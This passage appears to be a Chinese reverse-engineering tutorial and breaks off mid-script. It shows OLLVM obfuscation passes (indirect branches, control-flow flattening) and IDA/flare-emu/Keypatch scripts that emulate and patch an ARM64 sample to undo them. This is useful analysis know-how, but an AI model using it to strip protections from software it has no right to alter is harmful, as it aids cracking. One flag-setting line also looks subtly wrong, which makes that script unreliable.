1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | // 重写 runOnFunction 方法,用于对每个函数进行处理 bool runOnFunction(Function &Fn) override { // 判断是否需要进行混淆 if (!toObfuscate(flag, &Fn, \\"indbr\\" )) { return false ; } // 如果混淆选项中指定了跳过该函数,则返回 if (Options && Options->skipFunction(Fn.getName())) { return false ; } // 如果函数为空、具有链接一次的链接类型或属于启动代码段,则跳过 if (Fn.getBasicBlockList().empty() || Fn.hasLinkOnceLinkage() || Fn.getSection() == \\".text.startup\\" ) { return false ; } LLVMContext &Ctx = Fn.getContext(); // 获取 LLVM 上下文 // 初始化成员变量 BBNumbering.clear(); BBTargets.clear(); // 分裂所有临界边,避免间接分支指令无法处理的情况 SplitAllCriticalEdges(Fn, CriticalEdgeSplittingOptions(nullptr, nullptr)); NumberBasicBlock(Fn); // 为基本块编号 // 如果没有可处理的基本块,则返回 if (BBNumbering.empty()) { return false ; } // 生成随机加密密钥 uint32_t V = RandomEngine.get_uint32_t() & ~3; ConstantInt *EncKey = ConstantInt::get(Type::getInt32Ty(Ctx), V, false ); // 获取 IPO 混淆信息 const IPObfuscationContext::IPOInfo *SecretInfo = nullptr; if (IPO) { SecretInfo = IPO->getIPOInfo(&Fn); } // 获取混淆值 Value *MySecret; if (SecretInfo) { MySecret = SecretInfo->SecretLI; } else { MySecret = ConstantInt::get(Type::getInt32Ty(Ctx), 0, true ); } // 创建间接分支目标的全局变量 ConstantInt *Zero = ConstantInt::get(Type::getInt32Ty(Ctx), 0); GlobalVariable *DestBBs = getIndirectTargets(Fn, EncKey); // 遍历函数中的每个基本块 for ( auto &BB : Fn) { auto *BI = dyn_cast<BranchInst>(BB.getTerminator()); // 获取分支指令 if (BI && BI->isConditional()) { // 如果是条件分支 IRBuilder<> IRB(BI); // 创建 IR 构建器 Value *Cond = BI->getCondition(); // 获取分支条件 Value *Idx; // 用于间接分支的索引 Value *TIdx, *FIdx; // 真分支和假分支的索引 // 获取真分支和假分支的编号 TIdx = ConstantInt::get(Type::getInt32Ty(Ctx), BBNumbering[BI->getSuccessor(0)]); FIdx = ConstantInt::get(Type::getInt32Ty(Ctx), BBNumbering[BI->getSuccessor(1)]); // 根据条件选择索引 Idx = IRB.CreateSelect(Cond, TIdx, FIdx); // 计算目标地址 Value *GEP = IRB.CreateGEP(DestBBs, {Zero, Idx}); LoadInst *EncDestAddr = IRB.CreateLoad(GEP, \\"EncDestAddr\\" ); // 计算解密密钥 Constant *X; if (SecretInfo) { X = ConstantExpr::getSub(SecretInfo->SecretCI, EncKey); } else { X = ConstantExpr::getSub(Zero, EncKey); } Value *DecKey = IRB.CreateSub(X, MySecret); // 解密目标地址 Value *DestAddr = IRB.CreateGEP(EncDestAddr, DecKey); // 创建间接分支指令并替换原来的分支指令 IndirectBrInst *IBI = IndirectBrInst::Create(DestAddr, 2); IBI->addDestination(BI->getSuccessor(0)); IBI->addDestination(BI->getSuccessor(1)); ReplaceInstWithInst(BI, IBI); } } return true ; // 表示对函数进行了修改 } |
核心功能:控制流平坦化,OLLVM 中最核心的保护手段,将函数中的所有代码块编号放到一个巨大的 while switch case 中进行分发执行
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 | bool Flattening::flatten(Function *f) { vector<BasicBlock *> origBB; // 存储原始基本块 BasicBlock *loopEntry; // 进入循环的基本块 BasicBlock *loopEnd; // 退出循环的基本块 LoadInst *load; // switch 变量的加载指令 SwitchInst *switchI; // switch 指令 AllocaInst *switchVar; // switch 变量的存储位置 // 生成一个随机的加扰密钥 char scrambling_key[16]; llvm::cryptoutils->get_bytes(scrambling_key, 16); // 降低 switch 复杂度,使用不同 LLVM 版本的适配 #if LLVM_VERSION_MAJOR * 10 + LLVM_VERSION_MINOR >= 90 FunctionPass *lower = createLegacyLowerSwitchPass(); #else FunctionPass *lower = createLowerSwitchPass(); #endif lower->runOnFunction(*f); // 遍历所有基本块,并存储到 origBB for (Function::iterator i = f->begin(); i != f->end(); ++i) { BasicBlock *tmp = &*i; origBB.push_back(tmp); if (isa<InvokeInst>(tmp->getTerminator())) { return false ; // 遇到 invoke 指令,终止混淆 } } // 如果基本块数量小于等于1,无需平坦化 if (origBB.size() <= 1) { return false ; } LLVMContext &Ctx = f->getContext(); // 获取 LLVM 上下文 const IPObfuscationContext::IPOInfo *SecretInfo = nullptr; if (IPO) { SecretInfo = IPO->getIPOInfo(f); // 获取 IPO 相关信息 } Value *MySecret = SecretInfo ? SecretInfo->SecretLI : ConstantInt::get(Type::getInt32Ty(Ctx), 0); // 移除第一个基本块 origBB.erase(origBB.begin()); // 处理第一个基本块,确保其可以被 switch 控制 Function::iterator tmp = f->begin(); BasicBlock *insert = &*tmp; if (isa<BranchInst>(insert->getTerminator()) && insert->getTerminator()->getNumSuccessors() > 1) { BasicBlock::iterator i = insert->end(); --i; if (insert->size() > 1) { --i; } BasicBlock *tmpBB = insert->splitBasicBlock(i, \\"first\\" ); origBB.insert(origBB.begin(), tmpBB); } insert->getTerminator()->eraseFromParent(); // 创建 switch 变量并初始化 switchVar = new AllocaInst(Type::getInt32Ty(f->getContext()), 0, \\"switchVar\\" , insert); new StoreInst(ConstantInt::get(Type::getInt32Ty(f->getContext()), llvm::cryptoutils->scramble32(0, scrambling_key)), switchVar, insert); // 创建控制流平坦化的循环结构 loopEntry = BasicBlock::Create(f->getContext(), \\"loopEntry\\" , f, insert); loopEnd = BasicBlock::Create(f->getContext(), \\"loopEnd\\" , f, insert); load = new LoadInst(switchVar, \\"switchVar\\" , loopEntry); insert->moveBefore(loopEntry); BranchInst::Create(loopEntry, insert); BranchInst::Create(loopEntry, loopEnd); // 创建 switch 语句 BasicBlock *swDefault = BasicBlock::Create(f->getContext(), \\"switchDefault\\" , f, loopEnd); BranchInst::Create(loopEnd, swDefault); switchI = SwitchInst::Create(load, swDefault, 0, loopEntry); // 处理基本块跳转 for (BasicBlock *bb : origBB) { bb->moveBefore(loopEnd); ConstantInt *numCase = ConstantInt::get(switchI->getCondition()->getType(), llvm::cryptoutils->scramble32(switchI->getNumCases(), scrambling_key)); switchI->addCase(numCase, bb); } fixStack(f); // 修正栈结构 lower->runOnFunction(*f); delete lower; return true ; } |
环境 | \\n配置 | \\n
---|---|
操作系统 | \\nWindows 10 | \\n
IDA 版本 | \\n7.7 | \\n
Python | \\n3.10.7 | \\n
unicorn | \\n2.1.1 | \\n
keystone-engine | \\n0.9.2 | \\n
Unicorn 是一个模拟 CPU 执行的框架,Unicorn 在 OLLVM 反混淆中的作用为计算 BR 寄存器的值以及控制流平坦化中作为 SWITCH ID 的寄存器的值,这里附上一段笔者学习 Unicorn 的代码,希望可以帮助大家理解 Unicorn 的用法。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | import unicorn # 导入 Unicorn 库 import capstone # 导入 Capstone 库 import binascii # 导入 binascii 库 # 定义一个函数 print_regs,用于打印寄存器的值 def print_regs(mu): for i in range (unicorn.arm64_const.UC_ARM64_REG_X0, unicorn.arm64_const.UC_ARM64_REG_X30 + 1 ): # 遍历 X0-X30 print ( \'X%d: 0x%x\' % (i - unicorn.arm64_const.UC_ARM64_REG_X0, mu.reg_read(i))) # 定义一个回调函数 hook_code,用于在代码执行时触发 def hook_code(mu, addr, size, user_data): print ( \'-------hook code start-------\' ) code = mu.mem_read(addr, size) # 读取内存中的代码 cp = capstone.Cs(capstone.CS_ARCH_ARM64, capstone.CS_MODE_ARM) # 初始化 Capstone 模块 for i in cp.disasm(code, addr): # 反汇编代码 print ( \'[addr:0x%x]: %s %s\' % (i.address, i.mnemonic, i.op_str)) print_regs(mu) # 打印寄存器的值 # 定义一个回调函数 hook_mem_write,用于在内存写入时触发 def hook_mem_write(mu, type , addr, size, value, user_data): print ( \'-------hook mem write-------\' ) if type = = unicorn.UC_MEM_WRITE: # 如果是内存写入事件 print ( \'memory write addr:0x%x size:%x value:0x%x\' % (addr, size, value)) # 定义一个回调函数 hook_intr,用于在中断发生时触发 def hook_intr(mu, intno, user_data): print ( \'-------hook intr start-------\' ) print_regs(mu) # 打印寄存器的值 # 定义一个测试函数 test_arm64 def test_arm64(): # 定义一段 ARM64 指令集的代码 code = b \'\\\\xe0\\\\x03\\\\x1f\\\\xaa\' # mov x0, xzr (示例指令,可替换) # 初始化 Unicorn 模块 mu = unicorn.Uc(unicorn.UC_ARCH_ARM64, unicorn.UC_MODE_ARM) # 定义内存地址、大小 addr = 0x1000 size = 0x1000 # 映射内存并将代码写入内存 mu.mem_map(addr, size) mu.mem_write(addr, code) # 读取内存中的代码并打印 code_bytes = mu.mem_read(addr, len (code)) print ( \'addr:0x%x, content:%s\' % (addr, binascii.b2a_hex(code_bytes))) # 设置寄存器的值 mu.reg_write(unicorn.arm64_const.UC_ARM64_REG_X0, 0x100 ) mu.reg_write(unicorn.arm64_const.UC_ARM64_REG_X1, 0x200 ) mu.reg_write(unicorn.arm64_const.UC_ARM64_REG_X2, 0x300 ) mu.reg_write(unicorn.arm64_const.UC_ARM64_REG_X3, 0x400 ) # 监听代码执行事件 mu.hook_add(unicorn.UC_HOOK_CODE, hook_code) # 监听内存写入事件 mu.hook_add(unicorn.UC_HOOK_MEM_WRITE, hook_mem_write) # 监听中断事件 mu.hook_add(unicorn.UC_HOOK_INTR, hook_intr) try : # 开始模拟执行代码 mu.emu_start(addr, addr + len (code)) except unicorn.UcError as e: print (e) # 读取内存中的数据并打印 stack_bytes = mu.mem_read(addr, 4 ) print ( \\"mem:0x%x, value:%s\\" % (addr, binascii.b2a_hex(stack_bytes))) if __name__ = = \'__main__\' : test_arm64() |
flare-emu
的核心功能是通过 Unicorn 的仿真能力,为 IDA 二进制分析提供强大的动态仿真支持。它支持多种架构(包括 x86
、x86_64
、ARM
和 ARM64
),并提供了五种主要的仿真接口,以及一系列相关的辅助和实用函数。
emulateRange
iterate
iterateAllPaths
emulateBytes
emulateFrom
项目地址:668K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0j5h3&6V1K9h3q4F1N6q4)9J5c8X3k6D9j5i4u0W2i4K6u0V1k6h3#2#2i4K6u0W2k6$3W2@1
\\nC 代码
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | #include <stdio.h> int add( int a, int b){ return a + b; } int add5( int a, int b){ int ret = 0; for ( int i = 0; i < 5; i++){ if (b > 10){ ret -= add(a, b); } else { ret += add(a, b); } } return ret; } int main() { int ret = add5(1, 2); printf ( \\"add5 ret %d\\" , ret); return 0; } |
编译三种混淆的二进制文件
\\n1 2 3 4 5 | clang main.cpp - o main_icall - target aarch64 - linux - gnu - mllvm - irobf - icall clang main.cpp - o main_indbr - target aarch64 - linux - gnu - mllvm - irobf - indbr clang main.cpp - o main_cff - target aarch64 - linux - gnu - mllvm - irobf - cff |
IDA 打开 main_icall 中的 main 函数可以发现函数 add5 的跳转已经被加密
\\n这里我们可以发现原本的 BL 指令被替换成了 BLR 指令,这里我们只需要利用 flare_emu模拟执行一下函数,利用 iterate 方法强行执行到目标地址就可以获取目标寄存器的值了,在最后将 BLR 指令改回 BL 指令就可以了
\\n根据观察,函数跳转的地址通过模拟执行还是比较好计算出来的,这里我的思路如下:
\\n使用 flare_emu 的 iterate 方法,从指定的地址范围开始模拟执行
\\ntargetCallBack 回调中记录每个间接调用指令的目标地址
\\n修复间接调用
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | import flare_emu # 导入flare_emu模块,用于模拟执行 import idc # 导入idc模块,用于与IDA交互 import idaapi # 导入idaapi模块,用于获取函数信息等 import keypatch # 导入keypatch模块,用于汇编指令的修复 # 定义一个函数,用于修复指定地址的指令 def patch_one(address: int , new_instruction: str ): \\"\\"\\" 使用Keypatch修复指定地址的指令。 参数: address (int): 要修复的指令地址。 new_instruction (str): 新的汇编指令。 返回: bool: 如果修复成功返回True,否则返回False。 \\"\\"\\" kp_asm = keypatch.Keypatch_Asm() # 初始化Keypatch汇编对象 if kp_asm.arch is None : # 检查Keypatch是否支持当前架构 print ( \\"ERROR: Keypatch无法处理此架构\\" ) return False # 解析新的汇编指令 assembly = kp_asm.ida_resolve(new_instruction, address) (encoding, count) = kp_asm.assemble(assembly, address) # 将汇编指令转换为机器码 if encoding is None : # 如果没有生成机器码,说明无需修复 print ( \\"Keypatch: 无需修复\\" ) return False # 将机器码转换为字节数据 patch_data = \'\'.join( chr (c) for c in encoding) patch_len = len (patch_data) # 获取机器码长度 kp_asm.patch(address, patch_data, patch_len) # 使用Keypatch进行修复 print (f \\"修复完成: {assembly}\\" ) # 输出修复的指令 def myTargetCallBack(emu, address, argv, userData): \\"\\"\\" 模拟执行时的回调函数,用于记录间接调用的目标地址。 参数: emu (flare_emu.EmuHelper): 模拟器对象。 address (int): 当前指令地址。 argv (list): 当前指令的参数。 userData (dict): 用户数据,用于存储间接调用的映射。 \\"\\"\\" # 获取当前指令的反汇编字符串 code_str = idc.GetDisasm(address) # 提取BR指令使用的寄存器名 register_name = code_str.split( \\" \\" )[ - 1 ] # 输出当前地址和寄存器值 print (f \\"address = {hex(address)}, X* = {hex(emu.getRegVal(register_name))}\\" ) # 将当前地址和寄存器值存储到用户数据中 userData[ \\"br_map\\" ][address] = emu.getRegVal(register_name) def anti_icall(): \\"\\"\\" 主函数,用于处理间接调用(indirect call)的修复。 \\"\\"\\" br_addr_list = [ 0x4006A0 , 0x400724 ] # 初始化间接调用地址列表 eh = flare_emu.EmuHelper() # 初始化flare_emu模拟器 # 模拟执行指定范围内的代码,并记录间接调用的目标地址 eh.iterate(br_addr_list, targetCallback = myTargetCallBack, hookData = { \\"br_map\\" : {}}) # 遍历记录的间接调用地址,并修复为直接调用 for br_addr in eh.hookData[ \\"br_map\\" ]: print (f \\"br_addr = {hex(br_addr)} {hex(eh.hookData[\'br_map\'][br_addr])}\\" ) patch_one(br_addr, f \\"bl {hex(eh.hookData[\'br_map\'][br_addr])}\\" ) |
IDA 已经可以解析出函数 add 的地址
\\nIDA 打开 main_indbr 中的 add5 函数可以发现函数主体无法被解析
\\n这里我们可以发现原本的 BL 指令被替换成了 BLR 指令,不过这里就不能像 icall 那样粗暴的直接计算地址了,因为这里可能会涉及到多个分支的问题。
\\n通过观察我发现一般只有两个分支,所以我这里的还原思路如下:
\\n使用 flare_emu 的 emulateFrom 方法,从函数起始地址模拟执行到 BR 指令:
\\n在模拟过程中,通过 my_instruction_hook 拦截指令,记录 CSEL 或 CSET 指令的地址,需要注意有两个分支。
\\n根据 CSEL
或 CSET
指令的类型,修复为条件跳转指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 | import flare_emu # 导入flare_emu模块,用于模拟执行 import idc # 导入idc模块,用于与IDA交互 import idaapi # 导入idaapi模块,用于获取函数信息等 import keypatch # 导入keypatch模块,用于汇编指令的修复 # 定义一个函数,用于修复指定地址的指令 def patch_one(address: int , new_instruction: str ): kp_asm = keypatch.Keypatch_Asm() # 初始化Keypatch汇编对象 if kp_asm.arch is None : # 检查Keypatch是否支持当前架构 print ( \\"ERROR: Keypatch无法处理此架构\\" ) return False # 解析新的汇编指令 assembly = kp_asm.ida_resolve(new_instruction, address) (encoding, count) = kp_asm.assemble(assembly, address) # 将汇编指令转换为机器码 if encoding is None : # 如果没有生成机器码,说明无需修复 print ( \\"Keypatch: 无需修复\\" ) return False # 将机器码转换为字节数据 patch_data = \'\'.join( chr (c) for c in encoding) patch_len = len (patch_data) # 获取机器码长度 kp_asm.patch(address, patch_data, patch_len) # 使用Keypatch进行修复 print (f \\"修复完成: {assembly}\\" ) # 输出修复的指令 def my_instruction_hook(uc, address, size, userData): import unicorn, re # 匹配CSEL指令和寄存器名称 match = re.search(r \'CSEL\\\\s+W(\\\\w+),\\\\s+W(\\\\w+),\\\\s+W(\\\\w+),\\\\s+LT\' , idc.GetDisasm(address)) if match: print ( \'CSEL LT --\x3e \' , match.groups()[ 0 ], match.groups()[ 1 ], match.groups()[ 2 ]) userData[ \\"cse_addr\\" ] = address # 根据 match.groups()[0] match.groups()[1] match.groups()[2] 输出 CSEL 指令的两个寄存器的名称和寄存器的值 reg_id1 = int (match.groups()[ 0 ]) reg_id2 = int (match.groups()[ 1 ]) reg_id3 = int (match.groups()[ 2 ]) reg_id1_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_X0 + reg_id1) reg_id2_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_X0 + reg_id2) reg_id3_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_X0 + reg_id3) print (f \\"x{reg_id1} = {hex(reg_id1_value)}, x{reg_id2} = {hex(reg_id2_value)}, x{reg_id3} = {hex(reg_id3_value)}\\" ) # 读取当前PSTATE的值 pstate_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_PSTATE) if userData[ \\"branch\\" ] = = 1 : # 分支1,Z标志位置为 0 new_pstate_value = (pstate_value & ~( 1 << 30 )) else : # 分支2,Z标志位置为 1 new_pstate_value = (pstate_value & ( 1 << 30 )) # 写回修改后的PSTATE值 uc.reg_write(unicorn.arm64_const.UC_ARM64_REG_PSTATE, new_pstate_value) # 匹配CSEL指令和寄存器名称 match = re.search(r \'CSEL\\\\s+W(\\\\w+),\\\\s+W(\\\\w+),\\\\s+W(\\\\w+),\\\\s+GT\' , idc.GetDisasm(address)) if match: print ( \'CSEL GT --\x3e \' , match.groups()[ 0 ], match.groups()[ 1 ], match.groups()[ 2 ]) userData[ \\"cse_addr\\" ] = address # 根据 match.groups()[0] match.groups()[1] match.groups()[2] 输出 CSEL 指令的两个寄存器的名称和寄存器的值 reg_id1 = int (match.groups()[ 0 ]) reg_id2 = int (match.groups()[ 1 ]) reg_id3 = int (match.groups()[ 2 ]) reg_id1_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_X0 + reg_id1) reg_id2_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_X0 + reg_id2) reg_id3_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_X0 + reg_id3) print (f \\"x{reg_id1} = {hex(reg_id1_value)}, x{reg_id2} = {hex(reg_id2_value)}, x{reg_id3} = {hex(reg_id3_value)}\\" ) # 读取当前PSTATE的值 pstate_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_PSTATE) if userData[ \\"branch\\" ] = = 1 : # 分支1,Z标志位置为 0 new_pstate_value = (pstate_value & ~( 1 << 30 )) else : # 分支2,Z标志位置为 1 new_pstate_value = (pstate_value & ( 1 << 30 )) # 写回修改后的PSTATE值 uc.reg_write(unicorn.arm64_const.UC_ARM64_REG_PSTATE, new_pstate_value) # 匹配CSET指令和寄存器名称 match = re.search(r \'CSET\\\\s+W(\\\\w+),\\\\s+LT\' , idc.GetDisasm(address)) if match: print ( \'CSET --\x3e \' , match.groups()[ 0 ]) userData[ \\"cse_addr\\" ] = address # 读取当前PSTATE的值 pstate_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_PSTATE) if userData[ \\"branch\\" ] = = 1 : # 分支1,N标志位置为 0 new_pstate_value = (pstate_value & ~( 1 << 31 )) else : # 分支2,N标志位置为 1 new_pstate_value = (pstate_value & ( 1 << 31 )) # 写回修改后的PSTATE值 uc.reg_write(unicorn.arm64_const.UC_ARM64_REG_PSTATE, new_pstate_value) # 匹配CSET指令和寄存器名称 match = re.search(r \'CSET\\\\s+W(\\\\w+),\\\\s+GT\' , idc.GetDisasm(address)) if match: print ( \'CSGT --\x3e \' , match.groups()[ 0 ]) userData[ \\"cse_addr\\" ] = address # 读取当前PSTATE的值 pstate_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_PSTATE) if userData[ \\"branch\\" ] = = 1 : # 分支1,N标志位置为 0 new_pstate_value = (pstate_value & ~( 1 << 31 )) else : # 分支2,N标志位置为 1 new_pstate_value = (pstate_value & ( 1 << 31 )) # 写回修改后的PSTATE值 uc.reg_write(unicorn.arm64_const.UC_ARM64_REG_PSTATE, new_pstate_value) def branch(start_addr, br_addr, branch_id): br_reg_name = idc.GetDisasm(br_addr).split( \\" \\" )[ - 1 ] # 提取BR指令使用的寄存器名 # start_addr = idaapi.get_func(br_addr).start_ea eh = flare_emu.EmuHelper() eh.emulateFrom(start_addr, instructionHook = my_instruction_hook, hookData = { \\"branch\\" :branch_id}, count = int ((br_addr - start_addr) / 4 )) # 从当前地址开始模拟执行 br_reg_value = eh.getRegVal(br_reg_name) cse_addr = eh.getHookData()[ \\"cse_addr\\" ] print (f \\"branch_{branch_id} {br_reg_name} = {hex(br_reg_value)}\\" ) return br_reg_name, br_reg_value, cse_addr def fun_to_block(addr): import idc import ida_funcs import ida_bytes # 获取函数对象 func = ida_funcs.get_func(addr) if func: # 删除函数定义 ida_funcs.del_func(addr) print (f \\"已删除函数: {hex(addr)}\\" ) else : print (f \\"{hex(addr)} 处没有函数\\" ) # 确保字节被标记为代码 ida_bytes.del_items(addr, ida_bytes.DELIT_SIMPLE, 0 ) # 反汇编为代码块 idc.create_insn(addr) print (f \\"{hex(addr)} 现在已被设置为代码块\\" ) def anti_indbr(): br_addr_list = [ 0x400658 , 0x4006AC ] # 初始化间接调用地址列表 start_addr = idaapi.get_func(br_addr_list[ 0 ]).start_ea for br_addr in br_addr_list: if not idc.GetDisasm(br_addr).startswith( \\"BR\\" ): return print (f \\"br_addr = {hex(br_addr)}\\" ) # 输出BR指令地址 # 在代码块中找到 cse 系列指令,分别模拟两种分支下最后 BR 寄存器的值 br_reg_name1, br_reg_value1, cse_addr1 = branch(start_addr, br_addr, 1 ) br_reg_name2, br_reg_value2, cse_addr2 = branch(start_addr, br_addr, 2 ) print (f \\"branch_1 {br_reg_name1} = {hex(br_reg_value1)}, cse_addr1 = {hex(cse_addr1)}\\" ) print (f \\"branch_2 {br_reg_name2} = {hex(br_reg_value2)}, cse_addr2 = {hex(cse_addr2)}\\" ) # 将函数转为代码块,优化 IDA F5 的效果 fun_to_block(br_reg_value1) fun_to_block(br_reg_value2) # 这里只列了几个 case 分支 # CSET W9, LT if idc.GetDisasm(cse_addr1).startswith( \\"CSET\\" ) and idc.GetDisasm(cse_addr1).endswith( \\"LT\\" ): patch_one(cse_addr1, f \\"B.GE {hex(br_reg_value1)}\\" ) patch_one(cse_addr1 + 4 , f \\"B {hex(br_reg_value2)}\\" ) # CSET W9, GT elif idc.GetDisasm(cse_addr1).startswith( \\"CSET\\" ) and idc.GetDisasm(cse_addr1).endswith( \\"GT\\" ): patch_one(cse_addr1, f \\"B.GT {hex(br_reg_value1)}\\" ) patch_one(cse_addr1 + 4 , f \\"B {hex(br_reg_value2)}\\" ) # CSEL W9, W10, W11, LT elif idc.GetDisasm(cse_addr1).startswith( \\"CSEL\\" ) and idc.GetDisasm(cse_addr1).endswith( \\"LT\\" ): patch_one(cse_addr1, f \\"B.LT {hex(br_reg_value1)}\\" ) patch_one(cse_addr1 + 4 , f \\"B {hex(br_reg_value2)}\\" ) # CSEL W9, W10, W11,GT elif idc.GetDisasm(cse_addr1).startswith( \\"CSEL\\" ) and idc.GetDisasm(cse_addr1).endswith( \\"GT\\" ): patch_one(cse_addr1, f \\"B.GT {hex(br_reg_value1)}\\" ) patch_one(cse_addr1 + 4 , f \\"B {hex(br_reg_value2)}\\" ) |
IDA 已经可以解析出函数 add5 的函数主体
\\nIDA 打开 main_indbr 中的 add5 函数可以发现函数逻辑难以理解
\\n控制流平坦化作为 ollvm 中最重要的 Pass,也是最难以还原的,我这里的还原思路如下:
\\nB
)。B.GE
、B.GT
等)。NOP
,以清除无效代码。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 | import flare_emu import idaapi import idc import unicorn.arm64_const # 定义一个类用于记录代码块信息 class BlockInfo: def __init__( self , start_addr, end_addr): self .start_addr = start_addr # 块的起始地址 self .end_addr = end_addr # 块的结束地址 self .size = end_addr - start_addr # 块的大小 self .behind_block = { 0 : None , 1 : None } # 后续块的映射,0表示条件不成立,1表示条件成立 self .csel_state = - 1 # CSEL指令状态:-1表示没有CSEL指令,0表示条件不成立,1表示条件成立 def get_behind_block_num( self ): \\"\\"\\"获取后续块的数量\\"\\"\\" num = 0 if self .behind_block[ 0 ] is not None and self .behind_block[ 0 ] is not True : num + = 1 if self .behind_block[ 1 ] is not None and self .behind_block[ 1 ] is not True : num + = 1 return num def to_string( self ): \\"\\"\\"返回块信息的字符串表示\\"\\"\\" behind_block0 = hex ( self .behind_block[ 0 ].start_addr) if self .behind_block[ 0 ] else \\"None\\" behind_block1 = hex ( self .behind_block[ 1 ].start_addr) if self .behind_block[ 1 ] else \\"None\\" return f \\"addr:{hex(self.start_addr)} behind_block0:{behind_block0} behind_block1:{behind_block1}\\" # 定义一个类用于去除OLLVM控制流混淆 class OLLVMDeobfuscator: def __init__( self , func_start): self .func_start = func_start # 函数起始地址 self .func_end = idc.find_func_end(func_start) # 函数结束地址 self .fake_blocks = [] # 存储虚假块 self .real_blocks = [] # 存储真实块 self .block_links = [] # 存储块之间的连接关系 self .branch_tasks = {} # 存储待处理的分支任务 # 获取函数的控制流图 self .flowchart = idaapi.FlowChart(idaapi.get_func(func_start)) def analyze_blocks( self ): \\"\\"\\"分析函数中的基本块,区分真实块和虚假块\\"\\"\\" for block in self .flowchart: block_info = BlockInfo(block.start_ea, block.end_ea - 4 ) # 创建块信息对象 if block_info.size = = 0 : continue # 判断块是否为真实块 if self .is_real_block(block_info): self .real_blocks.append(block_info) else : self .fake_blocks.append(block_info) # 打印并标记真实块和虚假块 for block_info in self .real_blocks: print (f \\"真实块: {hex(block_info.start_addr)} - {hex(block_info.end_addr)}\\" ) self .set_block_color(block_info.start_addr, block_info.end_addr + 4 , 0x00ff00 ) # 绿色 for block_info in self .fake_blocks: print (f \\"虚假块: {hex(block_info.start_addr)} - {hex(block_info.end_addr)}\\" ) self .set_block_color(block_info.start_addr, block_info.end_addr + 4 , 0x00ffff ) # 黄色 def is_real_block( self , block_info): \\"\\"\\"判断块是否为真实块\\"\\"\\" # 如果是函数的入口块,则为真实块 if idaapi.get_func(block_info.start_addr).start_ea = = block_info.start_addr: return True # 如果块以RET指令结束,则为真实块 if idc.GetDisasm(block_info.end_addr).startswith( \\"RET\\" ): return True # 根据块的指令模式判断是否为真实块 disasm1 = idc.GetDisasm(block_info.end_addr - 12 ) disasm2 = 